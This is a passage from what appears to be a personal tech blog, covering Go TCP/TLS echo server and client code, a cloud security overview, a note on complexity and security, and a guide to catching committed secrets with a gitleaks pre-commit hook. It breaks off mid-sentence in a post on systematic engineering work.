<span id="cb4-2"><a href="#cb4-2" aria-hidden="true" tabindex="-1"></a> conn<span class="op">,</span> err <span class="op">:=</span> ln<span class="op">.</span>Accept<span class="op">()</span></span>
<span id="cb4-3"><a href="#cb4-3" aria-hidden="true" tabindex="-1"></a> <span class="cf">if</span> err <span class="op">!=</span> <span class="ot">nil</span> <span class="op">{</span></span>
<span id="cb4-4"><a href="#cb4-4" aria-hidden="true" tabindex="-1"></a> log<span class="op">.</span>Print<span class="op">(</span>err<span class="op">)</span></span>
<span id="cb4-5"><a href="#cb4-5" aria-hidden="true" tabindex="-1"></a> <span class="cf">continue</span></span>
<span id="cb4-6"><a href="#cb4-6" aria-hidden="true" tabindex="-1"></a> <span class="op">}</span></span>
<span id="cb4-7"><a href="#cb4-7" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb4-8"><a href="#cb4-8" aria-hidden="true" tabindex="-1"></a> <span class="cf">go</span> handle<span class="op">(</span>conn<span class="op">)</span> <span class="co">// handle connections concurrently</span></span>
<span id="cb4-9"><a href="#cb4-9" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span></code></pre></div>
<p>The handle function is running in a goroutine which means the program
doesn’t block waiting for the function to return. It continues running
the loop handling multiple connections concurrently.</p>
<p>The connection handling in this case is really simple, we just copy
back whatever we receive:</p>
<div class="sourceCode" id="cb5"><pre class="sourceCode go"><code class="sourceCode go"><span id="cb5-1"><a href="#cb5-1" aria-hidden="true" tabindex="-1"></a><span class="kw">func</span> handle<span class="op">(</span>conn net<span class="op">.</span>Conn<span class="op">)</span> <span class="op">{</span></span>
<span id="cb5-2"><a href="#cb5-2" aria-hidden="true" tabindex="-1"></a> <span class="cf">defer</span> conn<span class="op">.</span>Close<span class="op">()</span></span>
<span id="cb5-3"><a href="#cb5-3" aria-hidden="true" tabindex="-1"></a> io<span class="op">.</span>Copy<span class="op">(</span>conn<span class="op">,</span> conn<span class="op">)</span></span>
<span id="cb5-4"><a href="#cb5-4" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span></code></pre></div>
<p>The <strong>client</strong> code has also three parts: connecting,
writing and reading.</p>
<p>First we need to connect to the address of a TCP server:</p>
<div class="sourceCode" id="cb6"><pre class="sourceCode go"><code class="sourceCode go"><span id="cb6-1"><a href="#cb6-1" aria-hidden="true" tabindex="-1"></a>conn<span class="op">,</span> err <span class="op">:=</span> net<span class="op">.</span>Dial<span class="op">(</span><span class="st">"tcp"</span><span class="op">,</span> <span class="st">"localhost:8000"</span><span class="op">)</span></span>
<span id="cb6-2"><a href="#cb6-2" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> err <span class="op">!=</span> <span class="ot">nil</span> <span class="op">{</span></span>
<span id="cb6-3"><a href="#cb6-3" aria-hidden="true" tabindex="-1"></a> log<span class="op">.</span>Fatal<span class="op">(</span>err<span class="op">)</span></span>
<span id="cb6-4"><a href="#cb6-4" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span>
<span id="cb6-5"><a href="#cb6-5" aria-hidden="true" tabindex="-1"></a><span class="cf">defer</span> conn<span class="op">.</span>Close<span class="op">()</span></span></code></pre></div>
<p>Next we send out some bytes (converted from a string):</p>
<div class="sourceCode" id="cb7"><pre class="sourceCode go"><code class="sourceCode go"><span id="cb7-1"><a href="#cb7-1" aria-hidden="true" tabindex="-1"></a>_<span class="op">,</span> err <span class="op">=</span> io<span class="op">.</span>WriteString<span class="op">(</span>conn<span class="op">,</span> <span class="st">"Hello from client."</span><span class="op">)</span></span>
<span id="cb7-2"><a href="#cb7-2" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> err <span class="op">!=</span> <span class="ot">nil</span> <span class="op">{</span></span>
<span id="cb7-3"><a href="#cb7-3" aria-hidden="true" tabindex="-1"></a> log<span class="op">.</span>Fatalf<span class="op">(</span><span class="st">"client write error: %s"</span><span class="op">,</span> err<span class="op">)</span></span>
<span id="cb7-4"><a href="#cb7-4" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span></code></pre></div>
<p>And then we receive some bytes (printed as a string):</p>
<div class="sourceCode" id="cb8"><pre class="sourceCode go"><code class="sourceCode go"><span id="cb8-1"><a href="#cb8-1" aria-hidden="true" tabindex="-1"></a>buf <span class="op">:=</span> <span class="bu">make</span><span class="op">([]</span><span class="dt">byte</span><span class="op">,</span> <span class="dv">256</span><span class="op">)</span></span>
<span id="cb8-2"><a href="#cb8-2" aria-hidden="true" tabindex="-1"></a>n<span class="op">,</span> err <span class="op">:=</span> conn<span class="op">.</span>Read<span class="op">(</span>buf<span class="op">)</span></span>
<span id="cb8-3"><a href="#cb8-3" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> err <span class="op">!=</span> <span class="ot">nil</span> <span class="op">&&</span> err <span class="op">!=</span> io<span class="op">.</span>EOF <span class="op">{</span></span>
<span id="cb8-4"><a href="#cb8-4" aria-hidden="true" tabindex="-1"></a> log<span class="op">.</span>Fatal<span class="op">(</span>err<span class="op">)</span></span>
<span id="cb8-5"><a href="#cb8-5" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span>
<span id="cb8-6"><a href="#cb8-6" aria-hidden="true" tabindex="-1"></a>fmt<span class="op">.</span>Printf<span class="op">(</span><span class="st">"client read: %s</span><span class="ch">\n</span><span class="st">"</span><span class="op">,</span> buf<span class="op">[:</span>n<span class="op">])</span></span></code></pre></div>
<p>Let’s run the server and client:</p>
<div class="sourceCode" id="cb9"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb9-1"><a href="#cb9-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> go run tcp/server/echo.go</span>
<span id="cb9-2"><a href="#cb9-2" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb9-3"><a href="#cb9-3" aria-hidden="true" tabindex="-1"></a><span class="co"># from another terminal</span></span>
<span id="cb9-4"><a href="#cb9-4" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> go run tcp/client/main.go</span>
<span id="cb9-5"><a href="#cb9-5" aria-hidden="true" tabindex="-1"></a><span class="ex">client</span> read: Hello from client.</span></code></pre></div>
<p>You can find the whole code <a
href="https://github.com/jreisinger/docs/tree/master/blog/gosec/tcp">here</a>.</p>
<h3 id="tls">TLS</h3>
<p>As we’ve learned, TLS adds encryption, authentication and integrity
checking to TCP connections. Let’s see.</p>
<p>The <strong>server</strong> code will be very similar to TCP server
only we’ll use the <a href="https://pkg.go.dev/crypto/tls">tls</a>
package instead of the <code>net</code> package:</p>
<div class="sourceCode" id="cb10"><pre
class="sourceCode go"><code class="sourceCode go"><span id="cb10-1"><a href="#cb10-1" aria-hidden="true" tabindex="-1"></a>ln<span class="op">,</span> err <span class="op">:=</span> tls<span class="op">.</span>Listen<span class="op">(</span><span class="st">"tcp"</span><span class="op">,</span> <span class="st">"localhost:4430"</span><span class="op">,</span> config<span class="op">)</span></span>
<span id="cb10-2"><a href="#cb10-2" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> err <span class="op">!=</span> <span class="ot">nil</span> <span class="op">{</span></span>
<span id="cb10-3"><a href="#cb10-3" aria-hidden="true" tabindex="-1"></a> log<span class="op">.</span>Fatal<span class="op">(</span>err<span class="op">)</span></span>
<span id="cb10-4"><a href="#cb10-4" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span>
<span id="cb10-5"><a href="#cb10-5" aria-hidden="true" tabindex="-1"></a><span class="cf">defer</span> ln<span class="op">.</span>Close<span class="op">()</span></span></code></pre></div>
<p>Ok, we need some configuration for TLS to work. What’s that? TLS uses
public key cryptography. The TLS server needs a certificate to
authenticate to the client and a private key to decrypt and sign
data:</p>
<div class="sourceCode" id="cb11"><pre
class="sourceCode go"><code class="sourceCode go"><span id="cb11-1"><a href="#cb11-1" aria-hidden="true" tabindex="-1"></a>certFile <span class="op">:=</span> flag<span class="op">.</span>String<span class="op">(</span><span class="st">"cert"</span><span class="op">,</span> <span class="st">"cert.pem"</span><span class="op">,</span> <span class="st">"certificate file"</span><span class="op">)</span></span>
<span id="cb11-2"><a href="#cb11-2" aria-hidden="true" tabindex="-1"></a>keyFile <span class="op">:=</span> flag<span class="op">.</span>String<span class="op">(</span><span class="st">"key"</span><span class="op">,</span> <span class="st">"key.pem"</span><span class="op">,</span> <span class="st">"private key file"</span><span class="op">)</span></span>
<span id="cb11-3"><a href="#cb11-3" aria-hidden="true" tabindex="-1"></a>flag<span class="op">.</span>Parse<span class="op">()</span></span>
<span id="cb11-4"><a href="#cb11-4" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb11-5"><a href="#cb11-5" aria-hidden="true" tabindex="-1"></a>cert<span class="op">,</span> err <span class="op">:=</span> tls<span class="op">.</span>LoadX509KeyPair<span class="op">(*</span>certFile<span class="op">,</span> <span class="op">*</span>keyFile<span class="op">)</span></span>
<span id="cb11-6"><a href="#cb11-6" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> err <span class="op">!=</span> <span class="ot">nil</span> <span class="op">{</span></span>
<span id="cb11-7"><a href="#cb11-7" aria-hidden="true" tabindex="-1"></a> log<span class="op">.</span>Fatal<span class="op">(</span>err<span class="op">)</span></span>
<span id="cb11-8"><a href="#cb11-8" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span>
<span id="cb11-9"><a href="#cb11-9" aria-hidden="true" tabindex="-1"></a>config <span class="op">:=</span> <span class="op">&</span>tls<span class="op">.</span>Config<span class="op">{</span>Certificates<span class="op">:</span> <span class="op">[]</span>tls<span class="op">.</span>Certificate<span class="op">{</span>cert<span class="op">}}</span></span></code></pre></div>
<p>Let’s run the server:</p>
<div class="sourceCode" id="cb12"><pre
class="sourceCode sh"><code class="sourceCode bash"><span id="cb12-1"><a href="#cb12-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> go run tls/server/echo.go</span>
<span id="cb12-2"><a href="#cb12-2" aria-hidden="true" tabindex="-1"></a><span class="ex">2023/09/26</span> 21:02:33 open cert.pem: no such file or directory</span>
<span id="cb12-3"><a href="#cb12-3" aria-hidden="true" tabindex="-1"></a><span class="bu">exit</span> status 1</span></code></pre></div>
<p>Right. We don’t have the certificate or the private key. Let’s create
them using <a href="https://github.com/FiloSottile/mkcert">mkcert</a>
and re-run the server:</p>
<div class="sourceCode" id="cb13"><pre
class="sourceCode sh"><code class="sourceCode bash"><span id="cb13-1"><a href="#cb13-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> mkcert localhost</span>
<span id="cb13-2"><a href="#cb13-2" aria-hidden="true" tabindex="-1"></a><span class="op"><</span>... <span class="ex">snip</span> ...<span class="op">></span></span>
<span id="cb13-3"><a href="#cb13-3" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> go run tls/server/echo.go <span class="at">-cert</span> localhost.pem <span class="at">-key</span> localhost-key.pem</span></code></pre></div>
<p>X509 certificates contain server’s public key, along with its
identity and a signature by a trusted authority (typically a Certificate
Authority). We can have a look:</p>
<div class="sourceCode" id="cb14"><pre
class="sourceCode sh"><code class="sourceCode bash"><span id="cb14-1"><a href="#cb14-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> openssl x509 <span class="at">-in</span> localhost.pem <span class="at">-text</span> <span class="at">-noout</span></span></code></pre></div>
<p>The TLS <strong>client</strong> differs from the TCP client in a that
it needs a trusted CA certificate that can be used to verify the
server:</p>
<div class="sourceCode" id="cb15"><pre
class="sourceCode go"><code class="sourceCode go"><span id="cb15-1"><a href="#cb15-1" aria-hidden="true" tabindex="-1"></a>certFile <span class="op">:=</span> flag<span class="op">.</span>String<span class="op">(</span><span class="st">"cert"</span><span class="op">,</span> <span class="st">"cert.pem"</span><span class="op">,</span> <span class="st">"trusted CA certificate"</span><span class="op">)</span></span>
<span id="cb15-2"><a href="#cb15-2" aria-hidden="true" tabindex="-1"></a>flag<span class="op">.</span>Parse<span class="op">()</span></span>
<span id="cb15-3"><a href="#cb15-3" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb15-4"><a href="#cb15-4" aria-hidden="true" tabindex="-1"></a>data<span class="op">,</span> err <span class="op">:=</span> os<span class="op">.</span>ReadFile<span class="op">(*</span>certFile<span class="op">)</span></span>
<span id="cb15-5"><a href="#cb15-5" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> err <span class="op">!=</span> <span class="ot">nil</span> <span class="op">{</span></span>
<span id="cb15-6"><a href="#cb15-6" aria-hidden="true" tabindex="-1"></a> log<span class="op">.</span>Fatal<span class="op">(</span>err<span class="op">)</span></span>
<span id="cb15-7"><a href="#cb15-7" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span>
<span id="cb15-8"><a href="#cb15-8" aria-hidden="true" tabindex="-1"></a>certPool <span class="op">:=</span> x509<span class="op">.</span>NewCertPool<span class="op">()</span></span>
<span id="cb15-9"><a href="#cb15-9" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> ok <span class="op">:=</span> certPool<span class="op">.</span>AppendCertsFromPEM<span class="op">(</span>data<span class="op">);</span> <span class="op">!</span>ok <span class="op">{</span></span>
<span id="cb15-10"><a href="#cb15-10" aria-hidden="true" tabindex="-1"></a> log<span class="op">.</span>Fatalf<span class="op">(</span><span class="st">"unable to parse certificate from %s"</span><span class="op">,</span> <span class="op">*</span>certFile<span class="op">)</span></span>
<span id="cb15-11"><a href="#cb15-11" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span>
<span id="cb15-12"><a href="#cb15-12" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb15-13"><a href="#cb15-13" aria-hidden="true" tabindex="-1"></a>config <span class="op">:=</span> <span class="op">&</span>tls<span class="op">.</span>Config<span class="op">{</span>RootCAs<span class="op">:</span> certPool<span class="op">}</span></span>
<span id="cb15-14"><a href="#cb15-14" aria-hidden="true" tabindex="-1"></a>conn<span class="op">,</span> err <span class="op">:=</span> tls<span class="op">.</span>Dial<span class="op">(</span><span class="st">"tcp"</span><span class="op">,</span> <span class="st">"localhost:4430"</span><span class="op">,</span> config<span class="op">)</span></span>
<span id="cb15-15"><a href="#cb15-15" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> err <span class="op">!=</span> <span class="ot">nil</span> <span class="op">{</span></span>
<span id="cb15-16"><a href="#cb15-16" aria-hidden="true" tabindex="-1"></a> log<span class="op">.</span>Fatal<span class="op">(</span>err<span class="op">)</span></span>
<span id="cb15-17"><a href="#cb15-17" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span>
<span id="cb15-18"><a href="#cb15-18" aria-hidden="true" tabindex="-1"></a><span class="cf">defer</span> conn<span class="op">.</span>Close<span class="op">()</span></span></code></pre></div>
<div class="sourceCode" id="cb16"><pre
class="sourceCode sh"><code class="sourceCode bash"><span id="cb16-1"><a href="#cb16-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> go run tls/client/main.go <span class="at">-cert</span> localhost.pem</span>
<span id="cb16-2"><a href="#cb16-2" aria-hidden="true" tabindex="-1"></a><span class="ex">client</span> read: hello from client</span></code></pre></div>
<p>You can find the whole code <a
href="https://github.com/jreisinger/docs/tree/master/blog/gosec/tls">here</a>.</p>
<h1 id="more">More</h1>
<ul>
<li><a
href="https://eli.thegreenplace.net/2021/go-socket-servers-with-tls/">Go
socket servers with TLS</a></li>
<li><a
href="https://eli.thegreenplace.net/2021/go-https-servers-with-tls/">Go
HTTP servers with TLS</a></li>
<li><a href="https://github.com/lizrice/secure-connections">Secure
connections</a></li>
</ul>
Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-65418851155773478962023-01-02T14:29:00.038+01:002024-02-24T15:21:14.063+01:00Practical cloud security overview<p><img
src="https://user-images.githubusercontent.com/1047259/222765764-e826697a-0f33-4240-892f-db39265adbbc.png" /></p>
<p>IT industry has been undergoing seismic shifts regularly. The latest
one goes by the name cloud computing. However, the security goals,
principles and areas don’t change with the adaption of a new paradigm.
Terminology, methods and tools change, though.</p>
<h1 id="why-we-need-security">Why we need security</h1>
<p>The need for security stems from the fact that people make suboptimal
decisions and mistakes - in design, implementation, configuration,
operations - creating vulnerabilities in systems. And some other people
(threat actors or groups) try to exploit these vulnerabilities for
various reasons.</p>
<p>In case you don’t know or don’t care about your vulnerabilities and
threats, you can run into trouble. Your data can be stolen, altered,
deleted or encrypted for ransom. Your infrastructure or applications can
be shut down, misused for crypto-mining or for launching attacks against
other targets. Your customers or employees can get scammed.</p>
<p>This creates all sorts of issues. Your customers/users can’t use a
service at all or the service is not working correctly. Operational
problems, when employees have to handle security incidents instead of
normal business. Loss of reputation and consequently of employees and
customers. The company can get fined or someone (like a CISO) can even
go to jail. All this gets reflected also in terms of financial losses.
Obviously, you want to avoid this at least to a certain degree.</p>
<h1 id="security-goals">Security goals</h1>
<p>It’s impossible to not create any vulnerabilities and you can’t make
the bad actors disappear. So what can we do then? Well, we can avoid at
least some of the vulnerabilities and we can handle or contain at least
some of the exploits.</p>
<p>More formally, cybersecurity is a never ending effort to manage risks
of computer systems by increasing their resiliency to threats. A threat
is the possibility of something bad happening; it’s the combination of a
vulnerability and a threat actor. A risk is the quantified refinement of
a threat; it’s defined by its likelihood and impact.</p>
<p>CIA triad represents the traditional (since <a
href="https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nbsspecialpublication500-19.pdf">1977</a>)
security goals: “The protection of system data and resources from
accidental and deliberate threats to confidentiality, integrity, and
availability.”</p>
<ul>
<li>confidentiality: no unauthorized (read) access to data or
resources</li>
<li>integrity: no unauthorized changes to data or resources</li>
<li>availability: data and resources available when needed</li>
</ul>
<h1 id="security-principles">Security principles</h1>
<p>OK, so how do we achieve the security goals? First, there are some
principles everybody should keep in mind and apply whenever
possible:</p>
<ul>
<li>simplicity - the worst enemy of security is <a
href="https://www.schneier.com/blog/archives/2022/08/security-and-cheap-complexity.html">complexity</a>
because it makes defense harder</li>
<li>minimal attack surface - minimize possible ways a system can be
attacked</li>
<li>least privilege - deny by default to limit the blast radius of a
compromise</li>
<li>segmentation - create boundaries between systems to limit the blast
radius of a compromise</li>
<li>defense in depth - since any security control can fail have multiple
overlapping layers of controls</li>
<li>secure by design - security shouldn’t be an afterthought because
then it’s much more expensive</li>
</ul>
<h1 id="security-areas">Security areas</h1>
<p>Second, you have to care about many things because the weakest link
in the chain of interconnected components can get exploited (security is
a systems property). Not to get overwhelmed one might create some
abstractions in the form of distinct areas to cover.</p>
<h2 id="governance-and-risk-management">Governance and risk
management</h2>
<blockquote>
<p>If you know the enemy and know yourself, you need not fear the result
of a hundred battles. – Sun Tzŭ: The Art of War</p>
</blockquote>
<p>You should get at least a rough understanding of your organization’s
business and products. Find out your <a
href="https://docs.aws.amazon.com/wellarchitected/latest/security-pillar/shared-responsibility.html">responsibility</a>
boundaries and what data and compute/storage/network resources you need
to protect. This depends on the service model you use or provide (IaaS,
PaaS or SaaS). Get some idea <a
href="https://github.com/jreisinger/docs/blob/master/notes/sec/threat-actors.md">who</a>
is most likely to cause problems and <a
href="https://attack.mitre.org">how</a>.</p>
<p>Risk level is the likelihood of a future problem times its impact.
You can approach each risk in one of these ways:</p>
<ul>
<li>avoid it - don’t build the system in the first place or turn it off
if benefits are lower than risks</li>
<li>transfer it - pay someone else to manage the risk (e.g. SaaS,
insurance)</li>
<li>mitigate it - apply some security measures (controls)</li>
<li>accept it - if benefits are higher than risks (this should be
conscious)</li>
</ul>
<p>You might need to prove your security to a 3rd party; this is called
<a href="https://aws.amazon.com/compliance/">compliance</a>.</p>
<h2 id="identity-and-access-management">Identity and access
management</h2>
<p>If an attacker gets credentials all patches and firewalls won’t help.
Manage user and program identities (authn) and access rights (authz) in
as few places as possible. Have process of removing users that left the
company. Make sure that strong passwords and MFA are used. Use a
password manager (1Password) and don’t commit unencrypted passwords or
API keys to repositories (gitleaks). Access rights (roles, policies)
should follow the least privilege principle.</p>
<h2 id="vulnerability-management">Vulnerability management</h2>
<p>Detect and remediate security bugs and misconfigurations in
application (SonarQube, ZaP, trivy) and infrastructure (tfsec) code,
systems and networks (Nexpose). Before (<a
href="https://github.blog/2022-09-09-sca-vs-sast-what-are-they-and-which-one-is-right-for-you/">SAST,
SCA</a>) and after (DAST) deployment. Important point to emphasize here
is to make sure that the vulnerabilities found by the scanners are also
remediated not only reported. So detect them as soon as possible in the
process of developing and deploying code and infrastructure. First
handle only the critical ones. Code reviews and penetration testing is
helpful but expensive. Regularly upgrade (patch) your systems and
dependencies.</p>
<h2 id="security-monitoring">Security monitoring</h2>
<p>You want to know what’s going on and then do something about. Detect
threats and security incidents, and respond to them. You do this by
first collecting and parsing logs and metrics in a central place
(Splunk, Graylog, Datadog). Then you create alerts (log/metric queries
with a threshold) and handle them when they get triggered. Find a good
balance between too many and too few alerts. Prefer simplicity and
quality over cleverness and quantity to avoid alert fatigue.</p>
<h2 id="network-security">Network security</h2>
<p>If you can’t talk to a component, you can’t compromise it. Use
network policies, ACLs, VPNs, WAFs, antiDDoS, IDS/IPS when it makes
sense. Try to create trust boundaries. Anything inside a trust (or
security) boundary can trust, at least to some level, anything else
inside that boundary but requires verification before trusting anything
outside that boundary. Also (almost always) encrypt data in motion using
<a
href="https://github.com/jreisinger/docs/blob/master/blog/gosec/2023-09-26-go-for-cybersecurity-learning.md#what-is-tls---learning-by-reading">TLS</a>.</p>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-64413412614907195092022-10-22T15:08:00.002+02:002024-02-16T09:28:35.293+01:00The anomaly of cheap complexity<blockquote>
<p>How does one design an electric motor? Would you attach a bathtub to
it, simply because one was available? Would a bouquet of flowers help? A
heap of rocks? No, you would use just those elements necessary to its
purpose and make it no larger than needed – and you would incorporate
safety factors. Function controls design.</p>
</blockquote>
<p>– Prof. Bernardo de la Paz in The Moon Is A Harsh Mistress (Robert A.
Heinlein)</p>
<p>Why are computer systems not very secure? Because they are composed
of many complex layers. Why is it so even for simple applications like
counting up votes or regulating temperature? It’s because today it’s
easier and cheaper to build complex systems than it is to build simple
ones.</p>
<p>Suppose you need a machine that does something not that complex, like
a fridge. Complex general-purpose CPUs are cheap because of economies of
scale and Moore’s law (ARM Cortex-M0 CPUs cost pennies). Software
specializes a CPU that could do anything (universal computation) to
become a device that does something.</p>
<p>Similarly a (huge and complex) general-purpose operating system is
free, but a simpler, custom-designed, perhaps more secure OS would be
very expensive to build.</p>
<p>Source:
https://www.schneier.com/blog/archives/2022/08/security-and-cheap-complexity.html</p>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-33562190531259838002022-09-10T11:01:00.017+02:002024-02-24T15:22:22.384+01:00Preventing git leaks<p><img
src="https://user-images.githubusercontent.com/1047259/233588004-d2feae9d-5962-462a-bc6f-6d426ab8f026.png" /></p>
<p>I keep most of my code and prose on GitHub in public repos. I do it
because I get reliable storage for free that I can access from any
computer. And some of the repos might be helpful to others. Also it
engages my <a href="https://thethreevirtues.com/">hubris</a> :-). It’s
working nicely but sometimes I get a bad feeling when I push stuff. I’m
worried that I might leak some sensitive information like passwords, API
keys or tokens.</p>
<p>NOTE: don’t assume that committing secrets is ok when the repo is
private. The files or their contents get copied and the platforms
holding the repos get <a
href="https://www.darkreading.com/application-security/github-private-rsa-ssh-key-mistakenly-exposed-public-repository">compromised</a>.</p>
<h2 id="spotting-secrets-in-new-commits">Spotting secrets in new
commits</h2>
<p>The obvious solution is to think twice before committing and pushing
data. But there are also some helpful tools, like gitleaks. It basically
finds and reports secrets in the files you are about to commit. I want
to run it whenever I commit something in <em>any</em> of my repos. These
are the steps to make that happen:</p>
<ol type="1">
<li>Install <a
href="https://github.com/gitleaks/gitleaks">gitleaks</a>.</li>
<li>Add this to your <code>~/.gitconfig</code>:</li>
</ol>
<pre><code>[core]
hooksPath = ~/.git-global-hooks</code></pre>
<ol start="3" type="1">
<li>Create <code>~/.git-global-hooks/pre-commit</code>:</li>
</ol>
<div class="sourceCode" id="cb2"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb2-1"><a href="#cb2-1" aria-hidden="true" tabindex="-1"></a><span class="co">#!/bin/bash</span></span>
<span id="cb2-2"><a href="#cb2-2" aria-hidden="true" tabindex="-1"></a><span class="co"># Detect secrets in a git repo using https://github.com/zricethezav/gitleaks</span></span>
<span id="cb2-3"><a href="#cb2-3" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb2-4"><a href="#cb2-4" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> <span class="kw">[[</span> <span class="va">$SKIP</span> <span class="ot">==</span> <span class="st">"gitleaks"</span> <span class="kw">]];</span> <span class="cf">then</span></span>
<span id="cb2-5"><a href="#cb2-5" aria-hidden="true" tabindex="-1"></a> <span class="bu">echo</span> <span class="st">"skipping gitleaks checks ..."</span></span>
<span id="cb2-6"><a href="#cb2-6" aria-hidden="true" tabindex="-1"></a> <span class="bu">exit</span> 0</span>
<span id="cb2-7"><a href="#cb2-7" aria-hidden="true" tabindex="-1"></a><span class="cf">fi</span></span>
<span id="cb2-8"><a href="#cb2-8" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb2-9"><a href="#cb2-9" aria-hidden="true" tabindex="-1"></a><span class="bu">set</span> <span class="at">-xe</span></span>
<span id="cb2-10"><a href="#cb2-10" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb2-11"><a href="#cb2-11" aria-hidden="true" tabindex="-1"></a><span class="co"># Check uncommitted changes (parsing output of 'git diff') that had been 'git add'ed.</span></span>
<span id="cb2-12"><a href="#cb2-12" aria-hidden="true" tabindex="-1"></a><span class="ex">gitleaks</span> protect <span class="at">--no-banner</span> <span class="at">--staged</span></span></code></pre></div>
<p>If, for some good reason, you want to skip gitleaks when committing:
<code>SKIP=gitleaks git commit -m "commit message"</code></p>
<p>You can also make gitleaks ignore a secret either by
<code>#gitleaks:allow</code> inline comment next to the secret or by
adding finding’s fingerprint to the <code>.gitleaksignore</code> file at
the root of your repo. See <a
href="https://github.com/gitleaks/gitleaks/tree/master#additional-configuration">docs</a>
for details.</p>
<h2 id="existing-commits">Existing commits</h2>
<p>The steps above will prevent you from committing secrets from now on.
But you should also check existing commits because you might have
committed a secret in the past. You can either do it on each commit by
adding these lines to <code>~/.git-global-hooks/pre-commit</code>:</p>
<pre><code># Check existing commits (parsing output of 'git log -p').
gitleaks detect --no-banner</code></pre>
<p>But on bigger repos this might take several seconds every time you
commit. To avoid this you can check all your historical commits in all
your repos once. I used <a href="https://cli.github.com/">gh</a> and <a
href="https://github.com/jreisinger/runp">runp</a> to do it:</p>
<div class="sourceCode" id="cb4"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb4-1"><a href="#cb4-1" aria-hidden="true" tabindex="-1"></a><span class="bu">export</span> <span class="va">GHORG</span><span class="op">=</span>jreisinger <span class="co"># CHANGE ME</span></span>
<span id="cb4-2"><a href="#cb4-2" aria-hidden="true" tabindex="-1"></a><span class="fu">mkdir</span> /tmp/<span class="va">$GHORG</span> <span class="kw">&&</span> <span class="bu">cd</span> /tmp/<span class="va">$GHORG</span></span>
<span id="cb4-3"><a href="#cb4-3" aria-hidden="true" tabindex="-1"></a><span class="co"># clone all my (1000) repos in parallel</span></span>
<span id="cb4-4"><a href="#cb4-4" aria-hidden="true" tabindex="-1"></a><span class="ex">gh</span> repo list <span class="va">$GHORG</span> <span class="at">--source</span> <span class="at">--limit</span> 1000 <span class="kw">|</span> <span class="fu">cut</span> <span class="at">-f</span> 1 <span class="kw">|</span> <span class="ex">runp</span> <span class="at">-p</span> <span class="st">'gh repo clone'</span></span>
<span id="cb4-5"><a href="#cb4-5" aria-hidden="true" tabindex="-1"></a><span class="co"># check existing commits in all repos in parallel</span></span>
<span id="cb4-6"><a href="#cb4-6" aria-hidden="true" tabindex="-1"></a><span class="fu">ls</span> <span class="kw">|</span> <span class="ex">runp</span> <span class="at">-p</span> <span class="st">'gitleaks detect --no-banner -s'</span></span></code></pre></div>
<p>If <code>runp</code> exits with 0, all is good. Otherwise scroll up
to review the output. To check a repo for committed leaks:</p>
<div class="sourceCode" id="cb5"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb5-1"><a href="#cb5-1" aria-hidden="true" tabindex="-1"></a><span class="bu">cd</span> <span class="op"><</span>repo<span class="op">></span></span>
<span id="cb5-2"><a href="#cb5-2" aria-hidden="true" tabindex="-1"></a><span class="ex">gitleaks</span> detect <span class="at">--no-banner</span> <span class="at">-v</span></span></code></pre></div>
<h2 id="gitleaks-cheatsheet">Gitleaks cheatsheet</h2>
<pre><code># show secrets I'm about to commit (use --staged in pre-commit hook)
gitleaks protect -v
# show secrets that have been committed in the past
gitleaks detect -v
# show secrets no matter whether they are tracked by git
gitleaks detect --no-git -v</code></pre>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-44138885251079855452022-06-30T22:17:00.002+02:002024-02-24T15:20:23.497+01:00Let's have just fun<p>Some engineers, both junior and senior, have random approach to work
as opposed to a systematic one. By random (or freestyle) approach I
mean:</p>
<ul>
<li>generating quick ideas without followup</li>
<li>kidnapping discussions with unrelated digressions</li>
<li>presenting ideas without putting an effort into thinking them
over</li>
<li>making decisions without discussion</li>
<li>organizing useless meetings</li>
<li>hacking code without designing it</li>
<li>not using drawings when explaining concepts or designs</li>
<li>not tracking issues/tickets/projects</li>
<li>not documenting</li>
</ul>
<p>By systematic (or disciplined) approach I mean the opposite.</p>
<h1 id="balance">Balance</h1>
<p>I get that the random approach is easier (and more fun?) and that it
tends to produce new ideas. But if you use it too much it will create
unnecessary chaos and technical debt after some time. In other words it
will increase technical and organizational (when embraced by managers)
